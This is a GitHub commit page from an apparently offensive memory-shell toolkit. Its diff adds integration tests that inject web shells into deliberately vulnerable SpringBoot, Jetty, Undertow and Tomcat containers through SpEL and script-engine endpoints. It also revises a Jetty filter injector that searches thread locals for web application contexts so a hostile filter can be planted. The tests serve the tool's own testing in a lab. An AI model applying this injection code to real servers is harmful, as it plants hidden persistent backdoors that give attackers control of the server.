Skip to content

Commit aee8dbe

Browse files
committed
fix: SpringBoot Undertow and Jetty Shell inject failed
1 parent d8079e5 commit aee8dbe

31 files changed

+633
-52
lines changed

integration-test/build.gradle

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,12 +51,15 @@ idea {
5151
}
5252

5353
test {
54-
dependsOn(":vul:vul-webapp:war",
54+
dependsOn(
55+
":vul:vul-webapp:war",
5556
":vul:vul-webapp-expression:war",
5657
":vul:vul-webapp-deserialize:war",
5758
":vul:vul-webapp-jakarta:war",
5859
":vul:vul-springboot1:bootJar",
5960
":vul:vul-springboot2:bootJar",
61+
":vul:vul-springboot2-jetty:bootJar",
62+
":vul:vul-springboot2-undertow:bootJar",
6063
":vul:vul-springboot2:bootWar",
6164
":vul:vul-springboot2-webflux:bootJar",
6265
":vul:vul-springboot3:bootJar",

integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,8 @@ public class ContainerTool {
2020
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
2121
public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
2222
public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
23+
public static final Path springBoot2JettyDockerfile = Path.of("..", "vul", "vul-springboot2-jetty", "Dockerfile").toAbsolutePath();
24+
public static final Path springBoot2UndertowDockerfile = Path.of("..", "vul", "vul-springboot2-undertow", "Dockerfile").toAbsolutePath();
2325
public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
2426
public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
2527
public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -306,7 +306,7 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel
306306
}
307307
case ScriptEngine -> VulTool.postData(url + "/js", content);
308308
case EL -> VulTool.postData(url + "/el", content);
309-
case SpEL -> VulTool.postData(url + "/spel", content);
309+
case SpEL, SpELSpringIOUtils -> VulTool.postData(url + "/spel", content);
310310
case OGNL -> VulTool.postData(url + "/ognl", content);
311311
case MVEL -> VulTool.postData(url + "/mvel", content);
312312
case JXPath -> VulTool.postData(url + "/jxpath", content);
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
package com.reajason.javaweb.integration.springmvc;
2+
3+
import com.reajason.javaweb.integration.TestCasesProvider;
4+
import com.reajason.javaweb.memshell.Packers;
5+
import com.reajason.javaweb.memshell.Server;
6+
import com.reajason.javaweb.memshell.ShellTool;
7+
import com.reajason.javaweb.memshell.ShellType;
8+
import lombok.extern.slf4j.Slf4j;
9+
import net.bytebuddy.jar.asm.Opcodes;
10+
import org.junit.jupiter.api.AfterAll;
11+
import org.junit.jupiter.params.ParameterizedTest;
12+
import org.junit.jupiter.params.provider.Arguments;
13+
import org.junit.jupiter.params.provider.MethodSource;
14+
import org.testcontainers.containers.GenericContainer;
15+
import org.testcontainers.containers.Network;
16+
import org.testcontainers.containers.wait.strategy.Wait;
17+
import org.testcontainers.images.builder.ImageFromDockerfile;
18+
import org.testcontainers.junit.jupiter.Container;
19+
import org.testcontainers.junit.jupiter.Testcontainers;
20+
21+
import java.util.List;
22+
import java.util.stream.Stream;
23+
24+
import static com.reajason.javaweb.integration.ContainerTool.*;
25+
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
26+
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
27+
import static org.hamcrest.MatcherAssert.assertThat;
28+
29+
/**
30+
* @author ReaJason
31+
* @since 2024/12/22
32+
*/
33+
@Testcontainers
34+
@Slf4j
35+
public class SpringBoot2JettyContainerTest {
36+
public static final String imageName = "springboot2-jetty";
37+
38+
static Network network = Network.newNetwork();
39+
@Container
40+
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
41+
.withDockerfile(neoGeorgDockerfile))
42+
.withNetwork(network);
43+
44+
@Container
45+
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
46+
.withDockerfile(springBoot2JettyDockerfile))
47+
.withCopyToContainer(jattachFile, "/jattach")
48+
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
49+
.withNetwork(network)
50+
.withNetworkAliases("app")
51+
.waitingFor(Wait.forHttp("/test"))
52+
.withExposedPorts(8080);
53+
54+
static Stream<Arguments> casesProvider() {
55+
Server server = Server.SpringWebMvc;
56+
List<String> supportedShellTypes = List.of(
57+
ShellType.SPRING_WEBMVC_INTERCEPTOR,
58+
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
59+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
60+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
61+
);
62+
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
63+
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
64+
}
65+
66+
@AfterAll
67+
static void tearDown() {
68+
String logs = container.getLogs();
69+
log.info(logs);
70+
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
71+
}
72+
73+
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
74+
@MethodSource("casesProvider")
75+
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
76+
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
77+
}
78+
79+
public static String getUrl(GenericContainer<?> container) {
80+
String host = container.getHost();
81+
int port = container.getMappedPort(8080);
82+
String url = "http://" + host + ":" + port;
83+
log.info("container started, app url is : {}", url);
84+
return url;
85+
}
86+
87+
static Stream<Arguments> jettyCasesProvider() {
88+
Server server = Server.Jetty;
89+
List<String> supportedShellTypes = List.of(
90+
ShellType.SERVLET,
91+
ShellType.FILTER,
92+
// ShellType.LISTENER,
93+
ShellType.JETTY_AGENT_HANDLER,
94+
ShellType.JETTY_AGENT_HANDLER_ASM
95+
);
96+
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
97+
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
98+
}
99+
100+
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
101+
@MethodSource("jettyCasesProvider")
102+
void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) {
103+
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python);
104+
}
105+
}
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
package com.reajason.javaweb.integration.springmvc;
2+
3+
import com.reajason.javaweb.integration.TestCasesProvider;
4+
import com.reajason.javaweb.memshell.Packers;
5+
import com.reajason.javaweb.memshell.Server;
6+
import com.reajason.javaweb.memshell.ShellTool;
7+
import com.reajason.javaweb.memshell.ShellType;
8+
import lombok.extern.slf4j.Slf4j;
9+
import net.bytebuddy.jar.asm.Opcodes;
10+
import org.junit.jupiter.api.AfterAll;
11+
import org.junit.jupiter.params.ParameterizedTest;
12+
import org.junit.jupiter.params.provider.Arguments;
13+
import org.junit.jupiter.params.provider.MethodSource;
14+
import org.testcontainers.containers.GenericContainer;
15+
import org.testcontainers.containers.Network;
16+
import org.testcontainers.containers.wait.strategy.Wait;
17+
import org.testcontainers.images.builder.ImageFromDockerfile;
18+
import org.testcontainers.junit.jupiter.Container;
19+
import org.testcontainers.junit.jupiter.Testcontainers;
20+
21+
import java.util.List;
22+
import java.util.stream.Stream;
23+
24+
import static com.reajason.javaweb.integration.ContainerTool.*;
25+
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
26+
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
27+
import static org.hamcrest.MatcherAssert.assertThat;
28+
29+
/**
30+
* @author ReaJason
31+
* @since 2024/12/22
32+
*/
33+
@Testcontainers
34+
@Slf4j
35+
public class SpringBoot2UndertowContainerTest {
36+
public static final String imageName = "springboot2-undertow";
37+
38+
static Network network = Network.newNetwork();
39+
@Container
40+
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
41+
.withDockerfile(neoGeorgDockerfile))
42+
.withNetwork(network);
43+
44+
@Container
45+
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
46+
.withDockerfile(springBoot2UndertowDockerfile))
47+
.withCopyToContainer(jattachFile, "/jattach")
48+
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
49+
.withNetwork(network)
50+
.withNetworkAliases("app")
51+
.waitingFor(Wait.forHttp("/test"))
52+
.withExposedPorts(8080);
53+
54+
static Stream<Arguments> casesProvider() {
55+
Server server = Server.SpringWebMvc;
56+
List<String> supportedShellTypes = List.of(
57+
ShellType.SPRING_WEBMVC_INTERCEPTOR,
58+
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
59+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
60+
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
61+
);
62+
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
63+
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
64+
}
65+
66+
@AfterAll
67+
static void tearDown() {
68+
String logs = container.getLogs();
69+
log.info(logs);
70+
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
71+
}
72+
73+
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
74+
@MethodSource("casesProvider")
75+
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
76+
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
77+
}
78+
79+
public static String getUrl(GenericContainer<?> container) {
80+
String host = container.getHost();
81+
int port = container.getMappedPort(8080);
82+
String url = "http://" + host + ":" + port;
83+
log.info("container started, app url is : {}", url);
84+
return url;
85+
}
86+
87+
static Stream<Arguments> jettyCasesProvider() {
88+
Server server = Server.Undertow;
89+
List<String> supportedShellTypes = List.of(
90+
ShellType.SERVLET,
91+
ShellType.FILTER,
92+
// ShellType.LISTENER,
93+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
94+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
95+
);
96+
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL);
97+
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
98+
}
99+
100+
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
101+
@MethodSource("jettyCasesProvider")
102+
void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) {
103+
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_8, packer, container, python);
104+
}
105+
}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,8 @@ public class SpringBoot2WarContainerTest {
4444
.withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
4545
.withNetwork(network)
4646
.withNetworkAliases("app")
47+
.withCopyToContainer(jattachFile, "/jattach")
48+
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
4749
.waitingFor(Wait.forHttp("/app"))
4850
.withExposedPorts(8080);
4951

@@ -52,6 +54,8 @@ static Stream<Arguments> casesProvider() {
5254
List<String> supportedShellTypes = List.of(
5355
ShellType.SPRING_WEBMVC_INTERCEPTOR,
5456
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
57+
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, // TODO: 这个地方会报奇怪的错误,需要排查
58+
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
5559
);
5660
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
5761
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -68,4 +72,25 @@ static void tearDown() {
6872
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
6973
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
7074
}
75+
76+
static Stream<Arguments> tomcatCasesProvider() {
77+
Server server = Server.Tomcat;
78+
List<String> supportedShellTypes = List.of(
79+
ShellType.FILTER,
80+
// ShellType.LISTENER,
81+
ShellType.VALVE,
82+
ShellType.WEBSOCKET,
83+
ShellType.AGENT_FILTER_CHAIN,
84+
ShellType.AGENT_FILTER_CHAIN_ASM,
85+
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
86+
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
87+
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
88+
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
89+
}
90+
91+
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
92+
@MethodSource("tomcatCasesProvider")
93+
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
94+
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
95+
}
7196
}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -80,4 +80,26 @@ public static String getUrl(GenericContainer<?> container) {
8080
log.info("container started, app url is : {}", url);
8181
return url;
8282
}
83+
84+
static Stream<Arguments> tomcatCasesProvider() {
85+
Server server = Server.Tomcat;
86+
List<String> supportedShellTypes = List.of(
87+
ShellType.JAKARTA_FILTER,
88+
ShellType.JAKARTA_LISTENER,
89+
ShellType.JAKARTA_VALVE,
90+
ShellType.JAKARTA_WEBSOCKET,
91+
ShellType.AGENT_FILTER_CHAIN,
92+
ShellType.AGENT_FILTER_CHAIN_ASM,
93+
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
94+
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
95+
);
96+
List<Packers> testPackers = List.of(Packers.Base64);
97+
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
98+
}
99+
100+
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
101+
@MethodSource("tomcatCasesProvider")
102+
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
103+
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
104+
}
83105
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

Lines changed: 12 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -106,29 +106,26 @@ private void moveFilterToFirst(Object servletHandler) throws Exception {
106106
}
107107
}
108108

109-
private List<Object> getContext() {
109+
private List<Object> getContext() throws Exception {
110110
List<Object> contexts = new ArrayList<Object>();
111-
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
111+
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
112112
for (Thread thread : threads) {
113113
try {
114+
// jetty 6
114115
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
115116
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
116-
Object context = getFieldValue(contextClassLoader, "_context");
117-
Object handler = getFieldValue(context, "_servletHandler");
118-
contexts.add(getFieldValue(handler, "_contextHandler"));
117+
contexts.add(getFieldValue(contextClassLoader, "_context"));
119118
} else {
120-
Object threadLocals = getFieldValue(thread, "threadLocals");
121-
Object table = getFieldValue(threadLocals, "table");
122-
for (int i = 0; i < Array.getLength(table); ++i) {
119+
// jetty 7+
120+
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
121+
for (int i = 0; i < Array.getLength(table); i++) {
123122
Object entry = Array.get(table, i);
124123
if (entry != null) {
125-
Object httpConnection = getFieldValue(entry, "value");
126-
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
127-
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
128-
Object request = invokeMethod(httpChannel, "getRequest");
129-
Object session = invokeMethod(request, "getSession");
130-
Object servletContext = invokeMethod(session, "getServletContext");
131-
contexts.add(getFieldValue(servletContext, "this$0"));
124+
Object threadLocalValue = getFieldValue(entry, "value");
125+
if (threadLocalValue != null) {
126+
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
127+
contexts.add(getFieldValue(threadLocalValue, "this$0"));
128+
}
132129
}
133130
}
134131
}

0 commit comments

Comments
 (0)